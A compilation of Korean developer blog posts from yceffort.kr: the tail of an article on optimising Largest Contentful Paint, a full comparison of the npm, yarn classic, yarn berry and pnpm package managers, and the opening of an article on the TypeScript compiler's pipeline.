사실 `video` 의 `poster` 가 이렇게 선방할 줄은 몰랐다. 이는 `img`와 동일하게 동작하는 것으로 보이며, 프리로드 스캐너에 의해 조기에 발견된다. 이는 본질적으로 poster가 굉장히 빠르다는 것을 의미한다.

그리고 또다른 소식 중 하나는, `poster`가 없는 `video`는 첫번째 프레임을 LCP로 가져가려는 의도가 있다는 것이다. https://bugs.chromium.org/p/chromium/issues/detail?id=1289664 즉 동영상을 실제로 로딩해서 LCP로 가져가려 한다는 뜻인데, 아무래도 동영상은 이미지보다 용량이 크므로, LCP로 동영상을 가져가기 위해서는 `poster`가 필수적으로 보인다.

#### `background-image: url()`

![LCP_css](./images/LCP_css.png)

CSS에 정의된 리소스 (url 을 통해 요청된 모든 리소스) 는 기본적으로 느리다. 여기서 말하는 리소스는 background-image과 web font 등이다.

이러한 리소스가 느린 이유는, 브라우저가 해당 리소스를 필요로 하는 DOM노드를 그릴 준비가 될 때 까지 리소스를 요청하지 않기 때문이다.

이는 background-image 가 LCP의 마지막 순간에 요청된다는 것을 의미인데, 이는 사실 너무 늦은 타이밍이긴하다. 따라서 background-image가 있는 LCP는 적절하지 못하다.

현재 LCP에 background-image가 있는 사이트는 지금 리팩토링할 수 있는 여지가 존재한다. 그리고 이를 가장 빠르게 해결하는 방법이 있다.

```html
<div style="background-image: url(lcp.jpg)">
  <img
    src="lcp.jpg"
    alt=""
    width="0"
    height="0"
    style="display: none !important;"
  />
</div>
```

이러한 방법을 활용하면 프리로드 스캐너로 하여금 브라우저가 `<div />`를 렌더링할 때 까지 않고 이미지를 가져오게 만들 수 있다. 이것은 단순 구현보다 1.058초 더 빠르게 앞당길 수 있다. 이는 `<img/>` 옵션과 거의 똑같다는 것을 알 수 있게 될 것이다.

## 요약

- 텍스트 기반의 LCP는 언제나 옳다. 가장 빠르다.
- `<img />` 와 `poster`는 프리로드 스캐너에 발견될 수 있기 때문에 빠르게 로딩할 수 있다.
- `poster`가 없는 `<video/>`는 동영상의 첫번째 프레임이 LCP에 들어갈 수 있다.
- `<svg />` 에 있는 `<img />` 는 매우 느리고, 이는 href가 프리로드 스캐너에 포함되지 않기 때문이다.
- `background-image` 는 기본적으로 CSS의 동작 방식 때문에 느리다.
  - 이 안에 보이지 않는 `<img/>`를 집어 넣으면 개선할 수 있다.

## 조심해야할 것들

이와 반대로, LCP를 개선하기 위한 작업 외에 하지 말아야 할 것들이 있다. 개발자들이 무심코 LCP 점수를 깎아먹는 일들이 무엇이 있는지 알아보자.

### LCP 를 lazy load 하지 말 것

`loading=lazy`는 프리로드 스캐너에서 이미지를 숨긴다는 문제가 있다. 즉 이미지가 뷰포트에 있더라도 브라우저는 이미지를 늦게 요청한다. 따라서 모든 이미지에 `loading=lazy`를 하는 것은 안전하지 못한 선택이고, 만약 다 추가했다면 브라우저가 잘 로딩해주기를 기도하는 수밖에 없다.

### Fade in 하지 말기

예상했던 것처럼, 이미지를 만약 500ms fade in 한다면 LCP도 그만큼 늦춰진다.

### LCP 에셋은 직접 호스팅할 것

가능하다면, LCP 에셋은 셀프 호스팅하는 것이 좋다. 사이트 관리자들이 Cloudinary와 같은 이미지 최적화 서비스를 사용하여 크기 조정, 포맷 변환, 압축 등 자동으로 이미지를 최적화 하는 솔루션을 사용하곤 한다. 그러 나 이러한 서비스 성능 향상을 고려한다면, 이러한 다른 origin에서 이미지를 가져오는 것은 이렇게 최적화 한 비용을 상쇄해버리고도 남는다. 중요하지 않은 이미지에서는 기존 처럼 자동화된 이미지를 사용하되, 가능하면 최적화된 이미지는 직접 호스팅하는 것이 좋다.

### LCP를 클라이언트에서 빌드 하지 말것

사이트에서 정보를 요청했을 때, 처음으로 오는 응답은 HTML이다. 그리고 이 안에서 `<img />`를 발견하고, 프리로드 스캐너가 이를 읽어드리길 바랄 것이다. 그러나 만약 이 작업 이전에 `framework.js` 와 같은 요청이 온다면 이미지를 발견하기전에 이 자바스크립트를 다운로드 하고 파싱하는 작업이 수행될 것이다. 이렇게 되면 LCP는 js를 해석하여 삽입하는 시간 만큼 뒤로 밀리게 될 것이다.

즉 LCP 영역은 가능하다면 서버사이드에서 미리 빌드된 채로 오는 것이 좋다.

### LCP를 오염하지 말 것

LCP 내부에 있는 컨텐츠를 뒤늦게 로드 하면 안된다. 여기에서 말하는 것은 콘텐츠를 덮고 매우 늦게 로딩되는 쿠키 배너나 각종 광고, 모달 등이 포함된다. 이런 쿠키 배너 등의 요소가 필요하다면

- 가능한 즉시 렌더링한다
- 컨텐츠 크기를 너무 크게 하지 않는다.

## 요약

텍스트 기반의 LCP가 빠르다는 것은 누구나 알 것이다. 그러나 대부분의 경우 이는 불가능할 것이다. LCP에는 `<img/>`나 `<video/>`의 poster를 활용하는 것이 가장 빠르다. 그리고 LCP 내부의 컨텐츠를 lazy 로딩 하지 말고, LCP에 js 빌드 작업을 포함시켜서는 안된다.

## 참고

- [브라우저의 프리로드 스캐너(pre-load scanner)와 파싱 동작의 이해](/2022/06/preload-scanner)

---

Source: https://yceffort.kr/2022/05/npm-vs-yarn-vs-pnpm.md
Title: npm, yarn, pnpm 비교해보기
Description: 그리고 승자는 🤔
Date: 2022-05-20
Tags: javascript, nodejs

## Table of Contents

## Introduction

npm 에서 시작한 node package management의 역사는, 이제 3가지 옵션이 주어져 있다. yarn 1.0 (이제 yarn classic 이라고 부르겠다) 과 yarn 2.0 (yarn berry) 두 가지 버전도 사뭇 다른 점이 많다는 것을 감안한다면, 이제 크게 4가지 선택지가 존재 한다고 볼 수 있다.

그리고 위 3가지 패키지 관리자들은 아래와 같은 기본적인 기능 (node 모듈을 설치하고, 관리하는 등)을 제공하고 있다.

- metadata 작성 및 관리
- 모든 dependencies 일괄 설치 또는 업데이트
- dependencies 추가, 업데이트, 삭제
- 스크립트 실행
- 패키지 퍼블리쉬
- 보안 검사

따라서 설치 속도나 디스크 사용량, 또는 기존 워크 플로우 등과 어떻게 매칭 시킬지와 같은 기능 외적인 요구 사항에 따라 패키지 관리자를 선택하는 시대가 도래했다고 볼 수 있다.

겉으로는 기능적으로 비슷해보이고 무엇을 선택하든 별 차이는 없어보이지만, 패키지 관리자들의 내부 동작은 매우 다르다. npm 과 yarn의 경우 flat 한 node_modules 폴더에 dependencies 를 설치했다. 그러나 이러한 전략은 비판에서 자유롭지 못하다. (어떤 문제인지는 뒤에서 설명하도록 한다.)

그래서 등장한 pnpm은 이러한 dependencies를 중첩된 node_modules 폴더에 효율적으로 저장하기 시작했고, yarn berry는 plug and play (pnp) 모드를 도입하여 이러한 문제를 해결하기 시작했다.

이 세가지 패키지 관리자는 각각 어떤 특징과 역사를 가지고 있으며, 무엇을 선택해야할까?

- [npm](https://www.npmjs.com/)
- [yarn classic](https://classic.yarnpkg.com/lang/en/)
- [yarn berry](https://github.com/yarnpkg/berry)
- [pnpm](https://pnpm.io/ko/)

> pnpm 홈페이지에 있는 yarn과 npm을 쓰레기통에 쳐박은 이미지가 매우 인상적이다. 🤔 vue가 react를 쓰레기통에 쳐박는 이미지를 달아놨다면...

## 자바스크립트 패키지 관리자의 역사

모두가 잘 알고 있는 것 처럼 최초의 패키지 매니저는 2010년 1월에 나온 npm 이다. npm 은 패키지 매니저가 어떤 동작을 해야하는 지에 대한 핵심적인 개념을 잡았다고 볼 수 있다.

10여년이 넘는 시간 동안 npm 이 존재했는데, yarn, pnpm 등이 등장하게 된 것일까?

- `node_modules` 효율화를 위한 다른 구조 (nested vs flat, node_modules, vs pnp mode)
- 보안에 영향을 미치는 호이스팅 지원
- 성능에 영향을 미칠 수 있는 `lock`파일 형식
- 디스크 효율성에 영향을 미치는 패키지를 디스크에 저장하는 방식
- 대규모 모노레포의 유지 보수성 과 속도에 영향을 미치는 workspace라 알려진 멀티 패키지 관리 및 지원
- 새로운 도구와 명령어 관리에 대한 관리
  - 이와 관련된 다양하고 확장가능한 플러그인과 커뮤니티 툴
- 다양한 기능 구현 가능성과 유연함

npm 이 최초로 등장하 이래로 이러한 니즈가 어떻게 나타났는지, yarn classic은 그 이후 등장해서 어떻게 해결했는지, pnpm이 이러한 개념을 어떻게 확장했는지, yarn berry가 전통적인 개념과 프로테스에 의해 설정된 틀을 깨기 위해 어떠한 노력을 했는지 간략한 역사를 파악해보자.

### 선구자 npm

본격적으로 시작하기에 앞서 재밌는 사실을 이야기 해보자면, `npm`은 `node package manager`의 약자가 아니다. npm의 전신은 사실 `pm`이라 불리는 bash 유틸리티인데, 이는 `pkgmakeinst`의 약자다. 그리고 이의 node 버전이 `npm`인 것이다.

> [https://github.com/npm/cli#is-npm-an-acronym-for-node-package-manager](https://github.com/npm/cli#is-npm-an-acronym-for-node-package-manager)

npm 이전에는 프로젝트의 dependencies를 수동으로 다운로드하고 관리하였기 때문에 엄청난 혁명을 가져왔다고 볼 수 있다. 이와 더불어 메타데이터를 가지고 있는 `package.json`와 같은 개념, dependencies를 `node_modules`라 불리는 폴더에 설치한다는 개념, 커스텀 스크립트, public & private 패키지 레지스트리와 같은 개념들 모두 npm에 의해 도입되었다.

### 많은 혁명을 가져온 yarn classic

[2016년의 블로그 글](https://engineering.fb.com/2016/10/11/web/yarn-a-new-package-manager-for-javascript/)에서, 페이스북은 구글과 몇몇 다른 개발자들과 함께 npm이 가지고 있던 일관성, 보안, 성능 문제 등을 해결하기 위한 새로운 패키지 매니저를 만들기 위한 시도를 진행 중이라고 발표 했다. 그리고 이듬해 `Yet Another Resource Negotiator`의 약자인 yarn을 발표했다.

yarn은 대부분의 개념과 프로세스에 npm을 기반으로 설계했지만, 이외에 패키지 관리자 환경에 큰 영향을 미쳤다. npm과 대조적으로, yarn은 초기버전의 npm의 주요 문제점 중 하나였던 설치 프로세스의 속도를 높이기 위해 작업을 병렬화 하였다.

yarn은 dx(개발자 경험), 보안 및 성능에 대한 기준을 높였으며, 다음과 같은 개념을 패키지 매니저에 도입하였다.

- native 모노레포 지원
- cache-aware 설치
- 오프라인 캐싱
- lock files

yarn classic은 2020년 부터 유지보수 모드로 전환되었다. 그리고 1.x 버전은 모두 레거시로 간주하고 yarn classic으로 이름이 바뀌었다. 현재는 yarn berry에서 개발과 개선이 이루어지고 있다.

### pnpm 빠르고 효율적인 디스크 관리

pnpm은 2017년에 만들어졌으며, npm 의 drop-in replacement(설정을 바꿀 필요 없이 바로 사용가능하며, 속도와 안정성 등 다양한 기능 향상이 이루어지는 대체품) 으로, npm만 있다면 바로 사용할 수 있다.

pnpm 제작자들이 생각한 npm 과 yarn의 가장 큰 문제는 프로젝트 간에 사용되는 dependencies의 중복 저장이다. yarn classic이 물론 npm 보다 빠르지만, 두 매니저 모두 node_modules 내부에 flat하게 패키지를 설치하여 (=동일한 디렉토리에 flat하게 저장) 관리했다.

pnpm은 이러한 호이스트 방식 대신, 다른 dependencies를 해결하는 전략인 [content-addressable storage](https://pnpm.io/next/symlinked-node-modules-structure)를 사용했다. 이 방법을 사용하면, home 폴더의 글로벌 저장소 (`~/.pnpm-store`)에 패키지를 저장하는 중첩된 node_modules 폴더가 생성된다. 따라서 모든 버전의 dependencies은 해당 폴더에 물리적으로 한번만 저장되므로, single source of truth를 구성하고, 상당한 디스크 공간을 절약할 수 있다.

이는 node_modules의 레이아웃을 통해 이루어지고, `symlinks`를 사용하여 dependencies의 중첩된 구조를 생성한다. 여기서 폴더 내부의 모든 패키지 파일은 저장소에 대한 하드 링크로 구성되어 있다.

![pnpm](https://d33wubrfki0l68.cloudfront.net/64b2f62af3b1c3dc4314df0ec517d9661d03b934/aca71/assets/images/node-modules-structure-8ab301ddaed3b7530858b233f5b3be57.jpg)

> [https://pnpm.io/blog/2021/12/29/yearly-update](https://pnpm.io/blog/2021/12/29/yearly-update)

### yarn berry, plug n play

yarn berry 는 2020년 1월에 출시되었으며 yarn classic의 업그레이드 버전이다. yarn 팀은 본질적으로 새로운 코드 베이스와 새로운 원칙을 가진 완전히 새로운 패키지 매니저라는 것을 분명하게 하기 위해 `yarn berry`라고 부르기 시작했다.

yarn berry에서 눈여겨 봐야 할 것은 [plug n play](https://yarnpkg.com/features/pnp/)로, [node_modules를 fix 위한 전략](https://yarnpkg.com/features/pnp#fixing-node_modules)이다. node_modules를 생성하는 대신, `.pnp.cjs`라 불리는 의존성 lookup 파일이 생성되는데, 이는 중첩된 폴더 구조 대신 단일 파일 이기 때문에 더 효율적으로 처리할 수 있다. 또한 모든 패키지는 `.yarn/cache` 폴더 내부에 zip 파일로 저장되므로, node_modules 폴더보다 더 디스크 공간을 적게 차지한다.

이 모든 변화는, 릴리즈 이후에 많은 논란을 일으켰다. pnp의 breaking change는 [메인테이너들로 하여금 기존에 존재하는 패키지를 업데이트 하게 끔 만들었다.](https://blog.hao.dev/state-of-yarn-2-berry-in-2021) 새로운 pnp 방식은 default로 설정되었고, node_modules로 돌아가는 것 또한 간단하지 않았다. 이 때문에 [많은 유명한 개발자들이 yarn berry를 opt-in으로 만들지 않은 것에 대해 비판하기 시작했다.](https://www.youtube.com/watch?v=bPae4Z8BFt8)

yarn berry 팀은 이후 릴리즈에서 많은 문제를 해결하고자 노력했다. PnP의 비호환성을 해결하기 위해 default 작동 모드를 쉽게 바꾸기 위한 몇가지 방법을 제안했다. [node_modules plugin](https://github.com/yarnpkg/berry/tree/master/packages/plugin-nm)의 도움으로, 기본적인 node_modules로 돌아가는 데 한 줄의 코드만으로 가능해졌다.

[호환성 표](https://yarnpkg.com/features/pnp#compatibility-table)에서 볼 수 있듯이, 많은 대형 프로젝트 들이 점차 yarn berry를 지원하는 방향으로 가기 시작했다.

앞선 3가지 패키지 매니저 중에서 가장 최근에 나왔지만, 패키니 매니저 환경에 많은 영향을 미쳤다. 2020년말, pnpm도 plug n play 방식을 지원하기 시작했다.

## 패키지 매니저 설치하기

패키지 매니저를 사용하기 위해서는, 개발자의 로컬 혹은 CI/CD 시스템에 설치해야 한다.

### npm

nodejs 내부에 npm이 내장되어 있으므로, 추가적으로 작업을 할 필요가 없다. [nvm](https://github.com/nvm-sh/nvm)이나 [volta](https://volta.sh/)를 사용하면, node와 npm 버전을 관리하는데 매우 유용하게 쓸 수 있다.

### yarn classic

`npm i -g yarn`으로 설치하면 된다.

### yarn berry

[yarn classic에서 yarn berry로 넘어가는 방법](https://yarnpkg.com/getting-started/migration)으로 추천할만한 것은 다음과 같다.

- yarn 1.x 등 최신버전으로 업데이트
- `yarn set version berry`

[사실 추천하는 방법](https://yarnpkg.com/getting-started/install#install-corepack)은 Corepack을 사용하는 것이다.

[Corepack](https://nodejs.org/api/corepack.html)은 yarn berry 개발자에 의해 만들어진 도구로, [package manager manager](https://github.com/nodejs/TSC/issues/904) (;;;) 라는 이름으로 처음 제안되었고, node lts v16에 머지되었다.

Corepack의 도움으로 node는 yarn classic, yarn berry, pnpm의 바이너리를 shim으로 가지고 있기 때문에 npm의 대체 패키지 매니저를 별도로 설치할 필요는 없다. 이 shim을 활용하면, yarn과 pnpm 명령어를 명시적으로 설피할 필요 없이, 실행할 수 잇다.

Corepack은 nodejs@16.9.0 부터 사전 설치되며, 이전 버전에서는 `npm install -g corepack`으로 설치할 수 있다.

Corepack을 사용하기 위해서는, 먼저 활성화를 해야 한다.

```text
$ corepack enable
$ corepack prepare yarn@3.1.1 --activate
```

### pnpm

pnpm 도 마찬가지 두 가지 방법으로 설치 할 수 있다.

- `$ npm i -g pnpm`
- `$ corepack prepare pnpm@6.24.2 --activate`

## 프로젝트 구조

프로젝트의 구조를 살펴보면, 각 패키지 매니저의 주요 특성을 한눈에 살펴볼 수 있다. 특정 패키지 매니저를 구성하는데 사용하는 파일과, 설치단계에서 생성되는 파일을 쉽게 알아볼 수 있다.

기본적으로, 모든 패키지 매니저는 모든 중요한 메타 정보를 `package.json`에 저장한다. 또한 루트 레벨에 설정파일을 사용하여 프라이빗 레지스트리나 dependency resolution 방법을 설정할 수 있다. 그리고 이 단계에서 dependencies를 파일 구조 (node_modules)에 저장하고 lock 파일이 생성된다.

> 이 글에서는 workspaces에 대해서는 다루지 않는다.

### npm

`$npm install` 또는 `$npm i` 명령어를 실행하면, `package-lock.json`이 생성되고 `node_modules` 폴더도 생성된다. 이 외에도 `.npmrc` 설정 파일도 생성될 수 있다.

```text
.
├── node_modules/
├── .npmrc
├── package-lock.json
└── package.json
```

### yarn classic

`$yarn`을 실행하면, `yarn.lock`과 `node_modules` 폴더가 생성된다. 마찬가지로 [`.yarnrc` 파일](https://classic.yarnpkg.com/en/docs/yarnrc)도 옵셔널로 생성할 수 있다. 이에 더해 `.npmrc` 파일이 있으면 이를 이용할 수도 있다. 그리고 캐시 폴더인 `.yarn/cache/`와 현재 yarn classic의 버전을 저장하는 `.yarn/releases/`도 생성될 수 있다. 이처럼 설정에 따라서 다양하게 변경될 수 있다.

```text
.
├── .yarn/
│   ├── cache/
│   └── releases/
│       └── yarn-1.22.17.cjs
├── node_modules/
├── .yarnrc
├── package.json
└── yarn.lock
```

### yarn berry와 `node_modules`

install mode에 관계 없이, yarn berry 프로젝트에서는 다른 패키지 관리자보다 더 많은 파일 보다 폴더를 처리해야 한다. 일부는 선택사항이고, 그리고 일부는 필수 사항이다.

yarn berry는 더이상 `.npmrc` 다 `.yarnrc`를 사용하지 않는다. 대신 [`yarnrc.yml` 설정 파일](https://yarnpkg.com/configuration/yarnrc)을 필요로 한다. 전통적인 `node_modules`를 생성하는 워크플로우가 존재하는 경우, [nodeLinker config](https://yarnpkg.com/configuration/yarnrc#nodeLinker) 파일을 아래와 같은 형태로 제공해야 한다.

```text
# .yarnrc.yml
nodeLinker: node-modules # or pnpm
```

`$ yarn`을 실행하면, 모든 의존성을 `node_modules`에 설치한다. `yarn.lock` 파일이 생성되는데, 이 파일은 기존 `yarn classic`과 호환되지는 않는다. 또한 오프라인 모드에서 설치를 위해 `.yarn/cache` 폴더도 생성된다. `releases` 폴더는 프로젝트에서 사용하는 yarn berry의 버전을 저장하기 위해 옵셔널로 생성된다.

```text
.
├── .yarn/
│   ├── cache/
│   └── releases/
│       └── yarn-3.1.1.cjs
├── node_modules/
├── .yarnrc.yml
├── package.json
└── yarn.lock
```

### yarn berry with pnp

PnP 모드에는 [strict](https://yarnpkg.com/features/pnp)와 [loose](https://yarnpkg.com/features/pnp#pnp-loose-mode) 모드가 있는데, 일단은 모드에 상관없이 `yarn`을 실행하면 `.yarn/cache`와 `.yarn/unplugged`, `.pnp.cjs` `yarn.lock` 파일이 생성된다. strict 모드는 기본 값이고, loose는 아래 처럼 옵셔널로 설정해두어야 한다.

```text
# .yarnrc.yml
nodeLinker: pnp
pnpMode: loose
```

PnP 프로젝트에서, `.yarn/` 폴더 내부에는 `release/`외에도 [ide 지원](https://yarnpkg.com/getting-started/editor-sdks)을 위한 `sdk/` 폴더를 포함할 가능성이 높다. [이외에도 사용례에 따라서, 다양한 폴더들이 생성될 수 있다.](https://yarnpkg.com/getting-started/qa#which-files-should-be-gitignored)

```text
.
├── .yarn/
│   ├── cache/
│   ├── releases/
│   │   └── yarn-3.1.1.cjs
│   ├── sdk/
│   └── unplugged/
├── .pnp.cjs
├── .pnp.loader.mjs
├── .yarnrc.yml
├── package.json
└── yarn.lock
```

### pnpm

`pnpm`도 다른 패키지 매니저와 마찬가지로 `package.json` 이 필요하다. `$ pnpm i`를 실행하면, `node_modules` 가 생성되는 것 까지는 다른 패키지 관리자와 동일하지만, 앞서 언급한 `content-addressable storage approach`라는 특성 때문에 이후의 구조가 완전히 다르다.

pnpm은 자체 lock 파일인 `pnp-lock.yml`을 생성한다. 그리고 마찬가지로 `.npmrc`로 설정을 추가할 수도 있다.

## Lock 파일과 dependency 저장

앞서 언급한 것 처럼, 모든 패키지 매니저는 각자 다른 형태의 lock 파일이 존재한다.

일단 lock 파일의 정의를 먼저 살펴보면, lock 파일이란 매 설치시 결정적이고 (= 항상 같은 버전을 설치하고) 예측가능한 특성을 보장하기 위하여, 각 버전의 정확한 의존성 버전을 저장하고 있는 파일을 의미한다. `package.json`은 정확한 버전이 기재되어 있는 것이 아니고, `>= 1.2.5`와 같은 형식의 [버전 범위 aka 시멘틱 버저닝](https://docs.npmjs.com/about-semantic-versioning)이 존재하기 때문에, lock파일이 없다면 매 설치마다 설치하는 버전이 달라질 수 있다.

lock 파일은 또한 체크섬이 존재하는데, 이에 대해서는 보안 관련 섹션에서 다룬다.

이 lock 파일은 npm@5 부터 (`package-lock.json`), pnpm은 `pnpm-lock.yaml`, yarn은 `yarn.lock` 형태로 존재한다.

이전 섹션에서 언급했던 것처럼, 전통적인 접근 방식으로는 모든 의존성을 `node_modules`을 설치하는 방법을 npm, yarn classic, pnpm(의 경우엔 구조가 조금 다르다) 사용하는 것을 볼 수 있다.

yarn berry의 PnP 모드에서는 조금 다른 모습을 볼 수 있다. `node_modules`대신, 모든 의존성을 `zip` 파일로 압축하여 `.yarn/cache`와 `.pnp.cjs` 형태로 관리한다.

모두 잘알고 있는 것처럼, 모든 팀원이 (모든 머신에서) 같은 버전을 설치하는 것을 보장하기 위해 lock 파일은 버전 컨트롤 내부에 포함시키는 것이 좋다.

## CLI commands

cli 커맨드는 워낙 많고 다양하여, 여기에서 모든 것을 다루지는 않으려고 한다. 아래 내용은 개발과정에서 자주 쓰일 수 있는 커맨드를 모아 둔 것이다.

### 의존성 관리

|                                              | npm                       | yarn classic               | yarn berry       | pnpm                     |
| -------------------------------------------- | ------------------------- | -------------------------- | ---------------- | ------------------------ |
| install deps                                 | `npm install`             | `yarn install` or `yarn`   | like classic     | `pnpm install`           |
| update deps                                  | `npm update`              | `yarn upgrade`             | `yarn semver up` | `pnpm update`            |
| update deps to latest                        | N/A                       | `yarn upgrade --latest`    | `yarn up`        | `pnpm update --latest`   |
| update deps interactively                    | N/A                       | `yarn upgrade-interactive` | like classic     | `pnpm up -- interactive` |
| add specific dep                             | `npm i react`             | `yarn add react`           | like classic     | `pnpm add react`         |
| add specific dep in dev                      | `npm i -D babel`          | `yarn add -D babel`        | like Classic     | `pnpm add -D babel`      |
| uninstall deps                               | `npm uninstall react`     | `yarn remove react`        | like Classic     | `pnpm remove react`      |
| uninstall deps without update `package.json` | `npm uninstall --no-save` | N/A                        | N/A              | N/A                      |

### 패키지 관련

아래 예제는 [ntl](https://github.com/ruyadorno/ntl)과 같은 바이너리 파일 처럼, development 환경에서 유틸리티 도구를 구성하는 패키지를 관리하는 명령어를 나타낸다.

yarn berry에서는 보안상의 이유로 패키지에서 지정한 바이너리 또는 `package.json`에 명시된 실행할 수 있다는 것을 염두해 두어야 한다. 이는 `pnpm`에서도 마찬가지다.

|                                          | npm            | yarn classic         | yarn berry     | pnpm                    |
| ---------------------------------------- | -------------- | -------------------- | -------------- | ----------------------- |
| install, update, remove package globally | `npm i -g ntl` | `yarn global ad ntl` | N/A            | `pnpm add --global ntl` |
| run binaries from terminal               | `npm exec ntl` | `yarn ntl`           | `yarn ntl`     | `pnpm ntl`              |
| run binaries from script                 | `ntl`          | `ntl`                | `ntl`          | `ntl`                   |
| dynamic package execution                | `npx ntl`      | N/A                  | `yarn dlx ntl` | `pnpm dlx ntl`          |

### 자주 쓰이는 커맨드

|                       | npm               | yarn classic    | yarn berry                 | pnpm            |
| --------------------- | ----------------- | --------------- | -------------------------- | --------------- |
| publish               | `npm publish`     | `yarn publish`  | `yarn npm publish`         | `pnpm publish`  |
| list installed deps   | `npm ls`          | `yarn list`     | like Classic               | `pnpm list`     |
| list outdated deps    | `npm outdated`    | `yarn outdated` | `yarn upgrade-interactive` | `pnpm outdated` |
| print info about deps | `npm explain ntl` | `yarn why ntl`  | like Classic               | `pnpm why ntl`  |
| init project          | `npm init`        | `yarn init`     | `yarn init`                | `pnpm init`     |

## 성능과 디스크 관리의 효율성

성능은 의사결정을 하는데 있어 중요한 부분이다. 이 섹션에서는 각 프로젝트의 벤치 마크 성능을 다룬다.

- https://p.datadoghq.eu/sb/d2wdprp9uki7gfks-c562c42f4dfd0ade4885690fa719c818?tpl_var_npm=%2A&tpl_var_pnpm=%2A&tpl_var_yarn-classic=%2A&tpl_var_yarn-modern=%2A&tpl_var_yarn-nm=%2A&tpl_var_yarn-pnpm=no&from_ts=1645791374255&to_ts=1653567374255&live=true
- https://pnpm.io/benchmarks

성능으로 미뤄 보건데, `yarn berry` + `Plug n Play strict`가 가장 설치도 빠르고 디스크 효율적인 모습을 보여주었고, 그다음으로는 pnpm이 뒤를 이었다.

## 보안

### npm

npm은 그 역사가 오래된 만큼 사건 사고도 많았다. [과거 npm v5.7.0에서 파일시스템 권한을 바꿀 수 있는 버그](https://github.com/npm/npm/issues/19883)가 발견된 적도 있다. `sudo npm` 명령어를 사용하면, 시스템 파일의 소유권을 변경하게 되어 os를 사용할 수 없게된 적이 있었다.

2018년에는 비트코인과 관련된 사건 사고도 있었다. [EventStream](https://www.npmjs.com/package/event-stream) [패키지 v3.3.6에서 악의적인 의존성이 추가되어, 개발자의 컴퓨터에서 비트코인을 훔치고자 하는 악의적인 코드가 존재한 바 있다.](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident.html)

이러한 문제를 해결하기 위해, 요즘 최신버전의 npm 에서는 package-lock.json에서 SHA-512 알고리즘을 확인하여 설치하고자 하는 패키지의 무결성을 확인한다.

전반적으로 npm은 사건사고가 많았던 것 만큼, 보안 문제에 각별히 신경을 많이 쓰고 있는 추세다.

### yarn

yarn classic, yarn berry 둘다 처음부터 `yarn.lock`에 지정된 체크섬을 활용하여 각 패키지의 무결성을 확인한다. 또한 `package.json` 내부에 선언되지 않은 의심스러운 패키지가 존재하면 설치가 중단된다.

yarn berry는 이에 더해 [package.json에서 명시한 의존성의 바이너리 파일만 실행할 수 있다.](https://github.com/yarnpkg/berry/issues/2784#issuecomment-831825366) 이는 pnpm과 유사하다.

### pnpm

pnpm 또한 체크섬을 활용하여 패키지의 무결성을 확인한다. pnpm은 [npm과 yarn classic에서 이슈가 되는 패키지 호이스팅](https://www.mo4tech.com/deep-thoughts-on-modern-package-managers-why-do-i-now-recommend-pnpm-over-npm-yarn-2.html)을 하지 않기 때문에 이러한 문제를 피한다. 이 대신, 위험한 dependency 액세스의 위험성을 제거하는 내부에 중첩된 `node_modules`폴더를 생성한다. 즉, dependency가 package.json 에서 명시적으로 선언된 경우에만 다른 dependency에 액세스 할 수 있다.

## 결론

현재 대부분의 패키지 매니저들은 모두 사용하기에 무리가 없는 수준까지 기능이 구성되어 있다. 대부분의 패키지 매니저가 기능성 사이에서 동등함을 보이고 있다. 물론, 그 아래에서 동작하는 방식은 매우 다르다.

pnpm은 npm과 비슷해보이지만, 종속성 관리 측면에서 매우 다른 모습을 보인다. pnpm을 사용하면 성능이 향상되고, 디스크 효율성을 극대화 할 수 있다. yarn classic도 훌륭한 선택지이지만, 레거시로 간주되고 가까운 미래에 지원이 중단될 수도 있는 가능성이 존재해서 선택하는 것을 추천하지는 않는다. yarn berry의 plug n play 는 완전히 새로운 혁신으로 다가왔지만, 아직 그 모든 잠재력을 달성한 것 같지는 않다. 그럼에도 요즘 사람들이 많이 쓰는 패키지 매니저는 yarn berry의 pnp 인 것으로 보인다. 성능과 디스크 효율성, 속도 모두에서 뛰어난 모습을 보이고 있다.

이것 저것 생각하기 쉽지 않고, 또 빠르고 쉽게 접근하고 싶다면 npm을 쓰는 것도 나쁘지 않다. 물론 다른 패키지 매니저에 비해서 성능이나 속도면에서 뒤쳐지는 감이 있지만, 긴 역사를 기반으로 한 많은 문서와 시행착오를 확인할 수 있는 다양한 글들은, 초보자들이 접근하기에는 가장 용이한 선택지가 될 것이다.

## 참고

- https://blog.logrocket.com/javascript-package-managers-compared/
- https://medium.com/wantedjobs/yarn-berry-%EC%A0%81%EC%9A%A9%EA%B8%B0-1-e4347be5987
- https://toss.tech/article/node-modules-and-yarn-berry
- https://d2.naver.com/helloworld/0923884
- https://d2.naver.com/helloworld/7553804

---

Source: https://yceffort.kr/2022/05/how-typescript-compiler-works.md
Title: 타입스크립트 컴파일러는 어떻게 동작하는가?
Description: clone 받아서 읽어보세여 재밌어여 (안재밌음)
Date: 2022-05-15
Tags: typescript, compiler

## Table of Contents

## Introduction

jQuery와 angular, react의 등장으로 프론트엔드 생태계에 많은 변화가 있었다고 한다면, 타입스크립트도 그에 못지 않은 영향력을 끼쳤다고 볼 수 있다. 타입스크립트의 등장 전후로 프론트엔드 개발, 특히 협업하는 데 있어서 큰 도움을 얻을 수 있었다.

그런데 우리는 타입스크립트는 어떻게 동작할까? `tsc`라는 명령어 뒤에는 어떤 일이 벌어지고 있을까? 리처드 파인만이 말했던 것처럼, 스스로 만들어 보는 수준까지는 아니더라도, 타입스크립트 컴파일러가 동작하는 방식에 대해서 하나하나씩 뜯어보고, 직접 코드도 살펴보면서 이해해보고자 한다.

## 참고한 내용

주로 참고한 내용은 tsconf 2021에 있었던 키노트다.

- [typescript repo](https://github.com/microsoft/TypeScript)
- [typescript-compiler-notes](https://github.com/microsoft/TypeScript-Compiler-Notes)
- [How the TypeScript Compiler Compiles - understanding the compiler internal](https://www.youtube.com/watch?v=X8k_4tZ16qU)
- [tsconf-slide-show](https://keybase.pub/orta/talks/tsconf-2021/)

## 대략적인 흐름

타입스크립트 컴파일러가 동작하는 방식, 즉 `tsc` 명령어를 눌렀을 때 일어나는 작업은 크게 아래와 같이 나눠볼 수 있다.

1. tsconfig 읽기: 타입스크립트 프로젝트라면, root에 `tsconifg.json`을 읽는 작업부터 시작할 것이다.
2. preprocess: 파일의 root 부터 시작해서 imports로 연결된 가능한 모든 파일을 찾는다.
3. tokenize & parse: `.ts`로 작성된 파일을 신택스 트리로 변경한다.
4. binder: 3번에서 변경한 신택스 트리를 기준으로, 해당 트리에 있는 symbol (`const` 등) 을 identifier로 변경한다.
5. 타입체크: binder와 신택스 트리를 기준으로 타입을 체크한다.
